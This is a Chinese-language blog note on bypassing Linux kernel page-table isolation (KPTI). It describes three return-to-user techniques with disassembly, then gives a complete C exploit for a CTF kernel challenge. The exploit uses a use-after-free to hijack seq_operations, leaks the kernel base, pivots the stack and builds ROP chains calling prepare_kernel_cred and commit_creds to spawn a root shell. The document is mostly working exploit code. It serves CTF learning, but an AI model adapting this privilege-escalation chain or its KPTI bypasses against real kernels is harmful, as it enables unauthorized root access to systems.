浅谈Bypass KPTI

浅谈Bypass KPTI

Created
Jan 6, 2022 06:51 AM
Tags
Linux Kernel Exploit

KPTI

KPTI(Kernel page-table isolation),即内核页表隔离。通过把进程页表按照用户空间和内核空间隔离成两块来防止内核页表泄露。可以在append选项下添加kpti=1nopti来启用或禁用它

Bypass

0x01

通过给shell函数注册一个捕捉异常信号,signal(SIGSEGV, getshell);

0x02

在执行swapgs之前修改CR3寄存器,使CR3寄存器加0x1000,然后进行iretq即可
notion image

0x03

利用函数swapgs_restore_regs_and_return_to_usermode来返回用户态
该函数汇编如下所示:
 
	0xffffffff8d400f30:	pop    r15
   0xffffffff8d400f32:	pop    r14
   0xffffffff8d400f34:	pop    r13
   0xffffffff8d400f36:	pop    r12
   0xffffffff8d400f38:	pop    rbp
   0xffffffff8d400f39:	pop    rbx
   0xffffffff8d400f3a:	pop    r11
   0xffffffff8d400f3c:	pop    r10
   0xffffffff8d400f3e:	pop    r9
   0xffffffff8d400f40:	pop    r8
   0xffffffff8d400f42:	pop    rax
   0xffffffff8d400f43:	pop    rcx
   0xffffffff8d400f44:	pop    rdx
   0xffffffff8d400f45:	pop    rsi
   0xffffffff8d400f46:	mov    rdi,rsp
   0xffffffff8d400f49:	mov    rsp,QWORD PTR gs:0x6004  <========================
   0xffffffff8d400f52:	push   QWORD PTR [rdi+0x30]
   0xffffffff8d400f55:	push   QWORD PTR [rdi+0x28]
   0xffffffff8d400f58:	push   QWORD PTR [rdi+0x20]
   0xffffffff8d400f5b:	push   QWORD PTR [rdi+0x18]
   0xffffffff8d400f5e:	push   QWORD PTR [rdi+0x10]
   0xffffffff8d400f61:	push   QWORD PTR [rdi]
   0xffffffff8d400f63:	push   rax
   0xffffffff8d400f64:	xchg   ax,ax
   0xffffffff8d400f66:	mov    rdi,cr3
   0xffffffff8d400f69:	jmp    0xffffffff8d400f9f
   0xffffffff8d400f6b:	mov    rax,rdi
   0xffffffff8d400f6e:	and    rdi,0x7ff
   0xffffffff8d400f75:	bt     QWORD PTR gs:0x2c016,rdi
   0xffffffff8d400f7f:	jae    0xffffffff8d400f90
   0xffffffff8d400f81:	btr    QWORD PTR gs:0x2c016,rdi
   0xffffffff8d400f8b:	mov    rdi,rax
   0xffffffff8d400f8e:	jmp    0xffffffff8d400f98
   0xffffffff8d400f90:	mov    rdi,rax
   0xffffffff8d400f93:	bts    rdi,0x3f
   0xffffffff8d400f98:	or     rdi,0x800
   0xffffffff8d400f9f:	or     rdi,0x1000
   0xffffffff8d400fa6:	mov    cr3,rdi
   0xffffffff8d400fa9:	pop    rax
   0xffffffff8d400faa:	pop    rdi
   0xffffffff8d400fab:	swapgs 
   0xffffffff8d400fae:	nop    DWORD PTR [rax]
   0xffffffff8d400fb1:	jmp    0xffffffff8d400fe0
   0xffffffff8d400fb6:	nop
   0xffffffff8d400fb7:	pop    r15
   0xffffffff8d400fb9:	pop    r14
   0xffffffff8d400fbb:	pop    r13
   0xffffffff8d400fbd:	pop    r12
   0xffffffff8d400fbf:	pop    rbp
   0xffffffff8d400fc0:	pop    rbx
   0xffffffff8d400fc1:	pop    r11
   0xffffffff8d400fc3:	pop    r10
   0xffffffff8d400fc5:	pop    r9
   0xffffffff8d400fc7:	pop    r8
   0xffffffff8d400fc9:	pop    rax
   0xffffffff8d400fca:	pop    rcx
   0xffffffff8d400fcb:	pop    rdx
   0xffffffff8d400fcc:	pop    rsi
   0xffffffff8d400fcd:	pop    rdi
   0xffffffff8d400fce:	add    rsp,0x8
   0xffffffff8d400fd2:	jmp    0xffffffff8d400fe0
   0xffffffff8d400fd7:	nop
   0xffffffff8d400fd8:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff8d400fe0:	test   BYTE PTR [rsp+0x20],0x4
   0xffffffff8d400fe5:	jne    0xffffffff8d400fe9
   0xffffffff8d400fe7:	iretq
从偏移0x19开始即可,栈帧如下所示:
target
0
0
get_root
user_cs
user_rflags
user_sp
user_ss
 
 

例题-2021-西湖论剑-easykernel

漏洞是0x20的堆块UAF,通过UAF覆盖seq_operations结构体来泄露地址和劫持程序流程,然后进行ROP
 
#include <stdio.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <signal.h>    
#define PATH "/dev/kerpwn"
int fd,seq_fd;

size_t kernel_base,mov_esp,pop_rdi,pop_rcx,mov_rdi_rax_req_ret,swapgs_ret,iretq,prepare_kernel_cred_addr,commit_creds_addr,Bypass_kpti_addr,mov_cr3_rdi,add_rdi_r14_ret,pop_r14,mov_rax_cr3_ret,mov_rdi_rax_callrcx,ret,pop_rax,or_rax_rdi_ret,mov_cr3_rax_pop_ret;

size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void add(int size,char *buf){
    size_t tmp[2];
    tmp[0] = (size_t)size;
    tmp[1] = (size_t)buf;
    ioctl(fd,0x20,&tmp);
    printf("\nAdd size %d: %s\n",size,buf);
}

void show(int index,int size,char *buf){
    size_t tmp[3];
    tmp[0] = (size_t)index;
    tmp[1] = (size_t)size;
    tmp[2] = (size_t)buf;
    ioctl(fd,0x40,&tmp);
}

void delete(int index){
    size_t tmp;
    tmp = (size_t)index;
    ioctl(fd,0x30,&tmp);
}

void edit(int index,int size,char *buf){
    size_t tmp[3];
    tmp[0] = (size_t)index;
    tmp[1] = (size_t)size;
    tmp[2] = (size_t)buf;
    ioctl(fd,0x50,&tmp);
}
void getshell()
{
    if(getuid() == 0)
    {
        puts("Get root!!!");
        system("/bin/sh");
    }
    else
    {
        puts("[!] failed!");
    }
}


int main(){+
    save_status();
    signal(SIGSEGV, getshell);
    int i;
    unsigned long *rop;
    char buffer[0x100];
    fd = open(PATH,O_RDWR);
    char *cnt[0x10];
    cnt[0] = malloc(0x20);
    memset(cnt[0],0x41,0x20);
    add(0x20,cnt[0]);
    cnt[1] = malloc(0x20);
    delete(0);
    seq_fd = open("/proc/self/stat", O_RDONLY);
    show(0,0x20,cnt[1]);
    // write(1,cnt[1],0x20);
    // printf("data: %llx %llx",,(size_t *)cnt[1]+1);
    for(int i=0;i<4;i++){
        printf("cnt %d:%llx\n",i,*((size_t *)cnt[1]+i));
    }
    kernel_base = *((size_t *)cnt[1]+0)-0x319d30;
    printf("kernel base: 0x%llx\n",kernel_base);
    mov_esp = kernel_base + (0xffffffff811a9a68-0xffffffff81000000); //0xffffffff811a9a68: mov esp, 0x89480040; ret;
    pop_rdi = kernel_base + (0xffffffff81089250-0xffffffff81000000);//0xffffffff81089250: pop rdi; ret;
    mov_rdi_rax_req_ret = kernel_base + (0xffffffff81b72e8b-0xffffffff81000000);//0xffffffff81b72e8b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
    pop_rcx = kernel_base + (0xffffffff81255323-0xffffffff81000000);//0xffffffff81255323: pop rcx; ret;
    swapgs_ret = kernel_base + (0xffffffff81075ef0-0xffffffff81000000);//0xffffffff81075ef0: swapgs; ret;
    iretq = kernel_base + (0xffffffff8103a2ab-0xffffffff81000000);//0xffffffff8103a2ab: iretq; pop rbp; ret; 
    prepare_kernel_cred_addr = 0xc91d0+ kernel_base;
    commit_creds_addr = 0xc8d40+ kernel_base;
    Bypass_kpti_addr=kernel_base+0xc00f49;
    mov_cr3_rdi = kernel_base + (0xffffffff81075ea0-0xffffffff81000000);//0xffffffff81075ea0: mov cr3, rdi; ret;
    add_rdi_r14_ret = kernel_base + (0xffffffff828fb766-0xffffffff81000000);//0xffffffff828fb766: add rdi, r14; call rax;
    pop_r14 = kernel_base + (0xffffffff814fdeff-0xffffffff81000000);//0xffffffff814fdeff: pop r14; ret; 
    mov_rax_cr3_ret =  kernel_base + (0xffffffff81075e90-0xffffffff81000000);//0xffffffff81075e90: mov rax, cr3; ret;
    mov_rdi_rax_callrcx =  kernel_base + (0xffffffff828ecf9c-0xffffffff81000000);//0xffffffff828ecf9c: mov rdi, rax; call rcx;
    ret = kernel_base + (0xffffffff810001dc-0xffffffff81000000);//0xffffffff810001dc: ret; 
    pop_rax = kernel_base + (0xffffffff8103d2a1-0xffffffff81000000);//0xffffffff8103d2a1: pop rax; ret;
    or_rax_rdi_ret = kernel_base + 0x1315e;//0xffffffff8101315e: or rax, rdi; ret;
    mov_cr3_rax_pop_ret = kernel_base + (0xffffffff810809d7-0xffffffff81000000);//0xffffffff810809d7: mov cr3, rax; pop rbp; ret;
// 0xffffffff81075e90: mov rax, cr3; ret;
//pop_rdi
    printf("mov_esp: 0x%llx\n",mov_esp);
    printf("swapgs_ret: 0x%llx\n",swapgs_ret);
    printf("Bypass_kpti_addr : 0x%llx\n",Bypass_kpti_addr);
    printf("mov_rax_cr3_ret : 0x%llx\n",mov_rax_cr3_ret);



    getchar();
    cnt[2] = malloc(0x20);
    *(size_t *)cnt[2]=mov_esp;
    edit(0,0x8,cnt[2]);
    rop = mmap(0x89480000-0x1000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
    for(i=0;i<(0x89480040-(0x89480000-0x1000))/8;)
    {
        rop[i++]=0x1234;
    }
//Bypass方法一
    rop[i++]=pop_rdi;
	rop[i++]=0;
	rop[i++]=prepare_kernel_cred_addr;
	rop[i++] = pop_rcx;
	rop[i++]=0;
	rop[i++]=mov_rdi_rax_req_ret;
	rop[i++]=commit_creds_addr;
	rop[i++]= swapgs_ret;
	rop[i++]= iretq;
    rop[i++] = getshell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

//Bypass方法二
    // rop[i++]=pop_rdi;
	// rop[i++]=0;
	// rop[i++]=prepare_kernel_cred_addr;
	// rop[i++] = pop_rcx;
	// rop[i++]=0;
	// rop[i++]=mov_rdi_rax_req_ret;
	// rop[i++]=commit_creds_addr;
    // /*
    // mov rax,cr3
    // or rax,0x1000
    // mov cr3,rax
    // */
    // rop[i++] = mov_rax_cr3_ret;
    // rop[i++] = pop_rdi;
    // rop[i++] = 0x1000;
    // rop[i++] = or_rax_rdi_ret;
    // rop[i++] = mov_cr3_rax_pop_ret;
	// rop[i++]=0;
    // rop[i++] = swapgs_ret;
    // rop[i++] = iretq;
    // rop[i++] = getshell;
    // rop[i++] = user_cs;
    // rop[i++] = user_rflags;
    // rop[i++] = user_sp;
    // rop[i++] = user_ss;

//Bypass方法三
    // rop[i++]=pop_rdi;
	// rop[i++]=0;
	// rop[i++]=prepare_kernel_cred_addr;
	// rop[i++] = pop_rcx;
	// rop[i++]=0;
	// rop[i++]=mov_rdi_rax_req_ret;
	// rop[i++]=commit_creds_addr;
	// rop[i++]=Bypass_kpti_addr;
	// rop[i++]=0;
	// rop[i++]=0;
    // rop[i++] = getshell;
    // rop[i++] = user_cs;
    // rop[i++] = user_rflags;
    // rop[i++] = user_sp;
    // rop[i++] = user_ss;

    read(seq_fd,&buffer,1);
    return 0;
//gcc exp.c -o exp --static -masm=intel
}
 

参考